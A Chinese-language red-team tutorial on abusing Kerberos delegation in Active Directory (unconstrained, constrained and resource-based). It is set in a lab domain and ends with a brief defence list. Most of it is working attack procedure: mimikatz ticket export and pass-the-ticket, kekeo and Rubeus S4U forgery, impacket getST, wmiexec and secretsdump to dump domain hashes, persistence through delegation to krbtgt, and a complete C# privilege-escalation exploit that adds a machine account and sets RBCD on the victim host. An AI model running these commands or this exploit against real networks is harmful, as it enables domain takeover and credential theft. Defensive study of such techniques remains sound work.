委派概述:
域委派是指將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶的權限在域內展開活動。
簡言之:當A訪問服務B時,服務B拿着A用戶的憑證去訪問服務C,這個過程稱為委派。
委派的方式:
非約束委派和約束委派,基於資源的約束委派。
在域內只有主機賬號和服務賬號才有委派屬性
主機賬號:活動目錄中的computers組內的計算機,也被稱為機器賬號。
服務賬號:域內用戶的一種類型,是服務器運行服務時所用的賬號,將服務運行起來加入域內,比如:SQLServer,MYSQL等;域用戶通過注冊SPN也能成為服務賬號。
委派的前提:
被委派的用戶不能被設置為不能被委派屬性。
查找非約束委派的主機或服務賬號(域控默認配置非約束委派屬性):
1.利用powersploit中的powerview
Import-Module .\PowerView.ps1;
查詢非約束委派的主機
Get-NetComputer -Unconstrained -Domain hiro.com
查詢非約束委派的服務賬號
Get-NetUser -Unconstrained -Domain hiro.com | select name
2.利用ADFind
查找域中配置非約束委派的用戶
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非約束委派的主機
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找約束委派的主機或服務賬號:
1.利用empire中的powerview
Import-Module .\powerview.ps1;
查詢約束委派的主機:
Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name
查詢約束委派的賬號:
Get-DomainUser -TrustedToAuth -Domain hiro.com | select name
2.利用ADFind
查找域中配置約束委派用戶:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域中配置約束委派的主機:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
非約束委派
大致流程:
user訪問serverA,於是向DC發起認證,DC會檢查serverA的機器賬號的屬性,如果是非約束委派的話,會把用戶的TGT放在ST票據中並一起發送給serverA
這樣serverA在驗證ST票據的同時也獲取到了用戶的TGT,並把TGT儲存在自己的lsass進程中以備下次重用,從而serverA就可以使用這個TGT,來模擬這個user訪問任何服務。
從攻擊角度來說:如果攻擊者拿到了一台配置了非約束委派的機器權限,可以誘導管理員來訪問該機器,然后可以得到管理員的TGT,從而模擬管理員訪問任意服務,相當於拿下了整個域環境。
利用:
域:hiro.com
域控:WIN-KONG IP:192.168.228.10 域管:administrator
受委派機器:WIN-E6FR4HVBPCI
現在將WIN-E6FR4HVBPCI這個機器賬號設置為非約束委派。
通過命令行打開adsiedit.msc查看WIN-E6FR4HVBPCI機器屬性,可以看到:
當被設置為非約束委派的時候,它的userAccountControl會包含TRUSTED_FOR_DELEGATION字段。
用域管訪問WIN-E6FR4HVBPCI機器
然后在WIN-E6FR4HVBPCI上以管理員權限運行mimikatz
privilege::debug
導出票據
sekurlsa::tickets /export
此時拿到了管理員的票據,用mimikatz將票據注入內存中,然后訪問域控
導入票據
kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi
查看票據
kerberos::list
非約束委派+spooler打印機
費約束委派常規利用感覺還是比較雞肋,想得到域內權限必須要管理員與配置了委派的機器建立連接,所以有國外的大佬研究出了非約束委派+spooler打印機來強制與指定的主機進行連接。
開始域控為server2012,后面網上有的大佬說可能是版本的問題,后面升級到了server2016還是報錯,這種情況復現不了了,有興趣的可以自己試一試。也可以參考這篇文章。
約束委派
由於非約束委派的不安全性,微軟在windows server 2003中引入了約束委派,對Kerberos協議進行了拓展,引入了S4U,其中S4U支持兩個子協議:Service for User to Self (S4U2Self
)和 Service for User to Proxy (S4U2proxy
),這兩個擴展都允許服務代表用戶從KDC請求票證。S4U2self可以代表自身請求針對其自身的可轉發的Kerberos服務票據(ST1)
;S4U2proxy可以以用戶的名義請求其它服務的ST2
,約束委派就是限制了S4U2proxy擴展的范圍。
其中:
S4U2Self
(用用戶的TGT向KDC請求用戶的可轉發的ST1,再用這張ST1去發起S4U2proxy請求。)
通過此擴展可以拿到一張標識任意用戶身份的ST,它的作用其實是協議轉換
。有時用戶會通過其他協議
(例如NTLM或什至基於表單的身份驗證)對服務進行身份驗證,因此他們不會將TGS發送給服務。在這種情況下,服務可以調用S4U2Self來要求身份驗證服務為其自身的任意用戶生成TGS
,然后可以在調用S4U2Proxy時將其用作依據。例如網站A服務器可以使用它去向KDC請求一張用戶B身份的ST1,網站A服務器再用這張ST1去發起S4U2proxy請求。
S4U2proxy
(拿用戶的可轉發的ST1請求用於訪問服務器的ST2)
該拓展作用是使用一張用戶A身份的ST1去向KDC請求一張用於訪問文件服務器B的ST2,這張ST2的身份還是用戶的,這樣的話網站A就可以利用用戶A的權限去訪問文件服務器B上的文件了。
大致流程:
user訪問serviceA,向DC發起kerberos認證,域控返回user的TGT和ST1票據,user使用ST1票據對serviceA進行訪問
如果配置了serviceA到serviceB的約束委派,則serviceA能使用S4U2Proxy協議將用戶發給自己的可轉發的ST1票據以用戶的身份發給DC。
域控返回serviceA一個用來訪問serviceB的ST2票據,這樣serviceA就能以用戶的身份對serviceB發起訪問。
由於服務用戶只能獲取某個用戶(或主機)的服務的ST1而非TGT
,所以只能模擬用戶訪問特定的服務
,但是如果能拿到約束委派用戶(或主機)的密碼或者Hash,就可以偽造S4U的請求,偽裝成服務用戶以任意用戶的權限申請訪問指定服務的ST2
。
利用:
域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
受委派機器:WIN-RRI9T9SN85D@192.168.228.15 域用戶:win7
首先在域控上將域用戶win7注冊成為SPN服務賬號
setspn -S cifs/WIN-RRI9T9SN85D.hiro.com win7
查看是否注冊成功
setspn -L win7
然后將win7用戶設置約束委派的屬性,為訪問域控的cifs(訪問文件夾)
通過命令行打開adsiedit.msc查看win7用戶屬性,可以看到:
當被設置為約束委派的時候,它的userAccountControl會包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。
並且比非約束委派的賬戶多了msDS-AllowedToDelegateTo字段,里面包含了允許委派的服務
當知道win7這個服務用戶的明文密碼或者Hash時,可以用kekeo請求它的TGT
擁有明文密碼
tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.
擁有賬戶的Hash
tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx
PS:如果既不知道明文也不知道Hash,如果有了服務用戶登錄的主機權限,可以用mimikatz從內存中把服務用戶的TGT dump下來照樣可以實現
從內存中導出所有票據
sekurlsa::tickets /export
然后通過win7的TGT偽造s4u請求以administrator身份請求訪問WIN-KONG cifs的ST
tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com
用mimikatz將票據導入內存中
kerberos::ptt TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi
訪問域控:
約束委派請求過程:
tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.
AS-REQ
以用戶win7請求TGT
AS-REP
AS返回用戶win7的TGT,也就是得到了TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi
tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com
TGS-REQ
win7用戶用上一步得到的TGT,用上S4U2Self協議,以administrator的名義向TGS申請一張訪問自身服務並且可轉發的ST1票據。
TGS-REP
TGS返回administrator的ST1票據給win7
TGS-REQ
win7用戶拿到了administrator的ST1票據后,win7帶上這張可轉發的訪問自身服務的票據
,用上S4U2Proxy協議,以administrator用戶的名義請求一張訪問WIN-KONG的CIFS服務的ST2票據
TGS-REP
TGS返回以administrator用戶訪問WIN-KONG的CIFS服務的票據,也就是得到了TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi
通過流程可以看出,第一步生成的可轉發的ST1只是為了請求第二步以administrator用的名義請求一張訪問WIN-KONG的CIFS服務的ST2票據。
利用約束委派權限維持
通過約束委派生成黃金票據
TGT由krbtgt Hash加密,如果能通過委派krbtgt服務,那么就能偽造任意用戶的TGT了。
由於krbtgt默認是禁用的,所以無法使用頁面添加它的SPN。
域控通過powershell添加win7到krbtgt的約束委派:
powershell -exec bypass
Import-Module ActiveDirectory
$user = Get-ADUser win7
(win7為設置為約束委派的服務賬號)
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hiro.com") }
利用impacket套件攻擊
偽造administrator的TGT
python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt/hiro.com -impersonate administrator hiro.com/win7:123456QWE.
導入票據
export KRB5CCNAME=administrator.ccache
用wmiexec彈出一個權限為administrator交互式的shell
python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10
導出域內哈希
python3 secretsdump.py -no-pass -k WIN-KONG.hiro.com
基於資源的約束委派
傳統的委派,在設置的過程中其實都是需要SeEnableDelegation特權,而這個特權需要域管理員才能設置。相對於傳統的委派,基於資源的約束委派它不需要域管理員設置,而是機器本身。
約束委派和基於資源的約束委派的區別:
前者:通過服務A委派到服務B
,實際是在服務A上增加TRUSTED_FOR_DELEGATION字段(非約束委派
),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo (約束委派
)字段來達到委派的目的。
后者:通過服務B允許服務A委派到服務B
,實際是通過服務B自身賦予msDS-AllowedToActOnBehalfOfOtherIdentity字段,從而允許服務A對服務B的基於資源的約束委派。
所以當利用到基於資源的約束委派的時候,服務A的兩個字段是沒有賦值的
,當這兩個字段沒有被賦值的時候,通過S4U2Self得到的ST服務票證是不可被轉發
的,而S4U2Proxy的作用就是將可轉發的ST票據轉發到其他服務
進行委派認證。但是:在基於資源的約束委派過程中,不可轉發的ST仍可以通過S4U2Proxy轉發到其他服務進行委派認證,並且最后還會返回一張可轉發的ST服務票證。
因此,如果能夠在服務B上配置允許服務A的基於資源的約束委派,那么就可以通過控制服務A使用S4U2Self向域控請求任意用戶訪問自身的服務票據,最后再使用S4U2Proxy轉發此ST1票據去請求訪問服務B的可轉發的ST2服務票據,就可以模擬任意用戶訪問服務B了。這里可以以普通域用戶的身份去創建機器賬號作為服務A。
條件
利用基於資源的約束委派(RBCD)需要2個條件:
1.擁有將域機器加入域的域用戶的權限。(將機器B加入域的域用戶擁有修改機器B的msDS-AllowedToActOnBehalfOfOtherIdentity屬性的權限。)
2.一個任意服務賬戶或者一個機器賬戶(每一個域用戶默認可以添加10個機器賬戶,可以通過LDAP中的MAQ屬性查看)
利用:
域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域內機器:DESKTOP-P34E60A,win10把這台機器加入到域內
通過ADFind查找將域機器拉入域的用戶的SID:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
查看S-1-5-21-3105699010-1460039537-418241315-1118是誰:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
假如現在已經拿到了把DESKTOP-P34E60A這台機器加入域的用戶win10的權限
使用whoami /all查詢當前用戶的sid
同樣可以通過用戶的sid查看哪些域機器是通過自己加入到域內的:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory
如果一個機器賬號沒有mS-DS-CreatorSID,那么他是被域管拉入到域內的
利用powermad添加機器賬戶:(https://github.com/Kevin-Robertson/Powermad)
Import-Module .\Powermad.ps1
以win10用戶創建一個域機器名為win10system,密碼為win10
New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)
驗證是否創建成功:
net group "domain computers" /do
查詢添加機器的SID:
1.域控上查詢:
dsquery computer | dsget computer -dn -sid
或者powershell運行Get-ADComputer win10system
2.域機器上查詢:(使用empire下的powerview)
Import-Module .\powerview.ps1
Get-DomainComputer -Identity win10system
win10用戶設置win10system到DESKTOP-P34E60A的基於資源的約束委派(使用empire下的powerview)
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-P34E60A| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
檢查是否配置成功
Get-DomainComputer DESKTOP-P34E60A -Properties msds-allowedtoactonbehalfofotheridentity
攻擊完成清除基於資源的約束委派配置:
Set-DomainObject DESKTOP-P34E60A -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
也可以在域控上通過命令行打開adsiedit.msc查看CN=DESKTOP-P34E60A機器屬性,可以看到:
當被設置為基於資源的約束委派的時候,它的msds-allowedtoactonbehalfofotheridentity會包含有效字段。
現在已經配置好利用條件就可以通過基於資源的約束委派進行攻擊了
1.使用rubues獲取票據
Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com
Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt
2.使用impacket套件獲取
python3 getST.py -dc-ip 192.168.228.10 -spn cifs/DESKTOP-P34E60A -impersonate administrator hiro.com/win10system$:win10
set KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@DESKTOP-P34E60A.hiro.com -dc-ip 192.168.228.10
利用基於資源的約束委派進行權限維持
跟約束委派利用相似,可以配置win10system到krbtgt的基於資源的約束委派,只要有了win10system的權限,就能偽造任意用戶請求krbtgt服務,則可以請求到任意用戶的TGT
在域控上執行:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
可以看到brbtgt的msds-allowedtoactonbehalfofotheridentity會包含有效字段。
1.使用rubeus偽造administrator請求TGT
Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /ptt
klist查看緩存票證
訪問域控
2.同樣的也能用impacket套件
python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt -impersonate administrator hiro.com/win10system$:win10
set KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10
基於資源的約束委派(爛番茄)
基於資源的約束委派通過修改自身msDS-AllowedToActOnBehalfOfOtherIdentity字段達到委派的目的,默認把這台域機器拉入域的域用戶有這個權限,還有誰有?
因為evil這台機器通過07用戶拉入域內,通過AdFind遍歷evil的ACL,通過write篩選對其具有寫權限的用戶。
AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
可以看到不只是07這個用戶,SYSTEM權限的用戶也對這個對象具有寫的權限。
攻擊面:通過iis等以服務權限起的域用戶拿到當前域機器最高權限。
(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)官方文檔中明確表示iis等服務用戶以機器賬號(SYSTEM)請求網絡資源。官方文檔中明確表示iis等服務用戶以機器賬號(SYSTEM)請求網絡資源。)
這樣會導致一個非常嚴重的問題:不止於iis,所有低權限服務(例如network service這類型的本機服務)都是以機器賬戶身份去請求的域內資源。利用這一特性可以直接使其連接到域控的ldap設置基於當前機器的基於資源的約束委派,造成當前域機器淪陷。
演示
前面已知:
- 域內用戶默認可以創建十台域機器。
- 低權限服務(例如network service這類型的本機服務)都是以機器賬戶身份請求域內資源。
- 機器賬號對其本身有WriteProperty權限。
當前環境:
- 在域內域機器web2008上存在iis服務,攻擊者拿到webshell后發現當前權限為iis,但是此用戶依然是域用戶,可以創建機器賬號;
- iis以機器賬戶請求域內資源,對其機器本身有WriteProperty權限,可以設置自身的msDS-AllowedToActOnBehalfOfOtherIdentity字段來設置基於資源的約束委派。
所以可以利用web2008創建域機器(此處為evilpc),並通過writelproperty設置evilpc到其的基於資源的約束委派。
通過查看LDAP確定是否設置成功
python3 getST.py -dc-ip 192.168.129.130 redteam/evilpc\$:123456 -spn cifs/web2008.redteam.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k redteam/administrator@web2008.redteam.lab
EXP
ATEAM的demo:https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
using System;
using System.Text;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Net;
namespace Addnew_MachineAccount
{
class Program
{
static void Main(string[] args)
{
String DomainController = "192.168.129.130";
String Domain = "redteam.lab";
//String username = args[0]; //域用戶名
//String password = args[1]; //域用戶密碼
String new_MachineAccount = "evilpc"; //添加的機器賬戶
String new_MachineAccount_password = "123456"; //機器賬戶密碼
String victimcomputer = "web2008"; //需要進行提權的機器
String victimcomputer_ldap_path = "LDAP://CN=web2008,CN=Computers,DC=redteam,DC=lab";
String machine_account = new_MachineAccount;
String sam_account = machine_account + "$";
//machine_account="evilpc";
//sam_account="evilpc$";
String distinguished_name = "";
String[] DC_array = null;
distinguished_name = "CN=" + machine_account + ",CN=Computers";
//distinguished_name=CN=evilpc,CN=computers;
DC_array = Domain.Split('.');
foreach (String DC in DC_array)
{ //DC=redteam
//DC=lab
distinguished_name += ",DC=" + DC;
//distinguished_name=CN=evilpc,CN=computers,DC=redtram,DC=lab
}
Console.WriteLine("[+] Elevate permissions on " + victimcomputer); //[+] Elevate permissions on web2008
Console.WriteLine("[+] Domain = " + Domain); //[+] Domain = redteam.lab
Console.WriteLine("[+] Domain Controller = " + DomainController); //[+] Domain Controller = 192.168.129.130
[//Console.WriteLine](//Console.WriteLine)("[+] New SAMAccountName = " + sam_account);
[//Console.WriteLine](//Console.WriteLine)("[+] Distinguished Name = " + distinguished_name);
//連接ldap
System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
//NetworkCredential nc = new NetworkCredential(username, password); //使用憑據登錄
System.DirectoryServices.Protocols.LdapConnection connection = null;
//connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
//域控不允許在未加密的鏈接中創建計算機用戶"。那么上面給的代碼為什么是去連接域控389端口(ldap)而不是去連接636端口(ldaps)創建呢?答案是:ldaps需要配置證書才能使用,在默認環境下就不能正常工作,而ldap只要將Sealing屬性設置為ture則可以用sasl加密連接。
connection.SessionOptions.Sealing = true;
connection.SessionOptions.Signing = true;
connection.Bind();
var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)
});
try
{
//添加機器賬戶
connection.SendRequest(request);
Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");
}
catch (System.Exception ex)
{
Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
Console.WriteLine("[-] Exception: " + ex.Message);
return;
}
// 獲取新計算機對象的SID
var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
SecurityIdentifier sid = null;
foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
{
try
{
sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
}
catch
{
Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
return;
}
}
//設置資源約束委派
System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.lab");
myldapConnection.Path = victimcomputer_ldap_path;
myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
//通過ldap找計算機
search.Filter = "(CN=" + victimcomputer + ")";
string[] requiredProperties = new string[] { "samaccountname" };
foreach (String property in requiredProperties)
search.PropertiesToLoad.Add(property);
System.DirectoryServices.SearchResult result = null;
try
{
result = search.FindOne();
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message + "Exiting...");
return;
}
if (result != null)
{
System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
byte[] descriptor_buffer = new byte[sd.BinaryLength];
sd.GetBinaryForm(descriptor_buffer, 0);
// 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
try
{
entryToUpdate.CommitChanges();//提交更改
Console.WriteLine("[+] Exploit successfully!");
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine("[!] \nFailed...");
return;
}
}
}
}
}
防御:
1.高權限賬號設置禁止委派屬性
2.微軟推出了protected users組,組內用戶不允許被委派,適用於Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012
Protected Users 組中的帳戶只能使用 Kerberos 協議進行身份驗證,拒絕 NTLM、Digest 和 CredSSP。
Kerberos 拒絕使用 DES 和 RC4 加密類型進行預身份驗證 ,域必須配置為支持 AES 或更高版本。
受保護用戶的帳戶不能通過 Kerberos 約束或無約束委派進行委派。
3.kerberos預認證不使用DES或RC4等加密算法(盡量使用AES256)同樣能夠預防Kerberoast
攻擊
參考
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/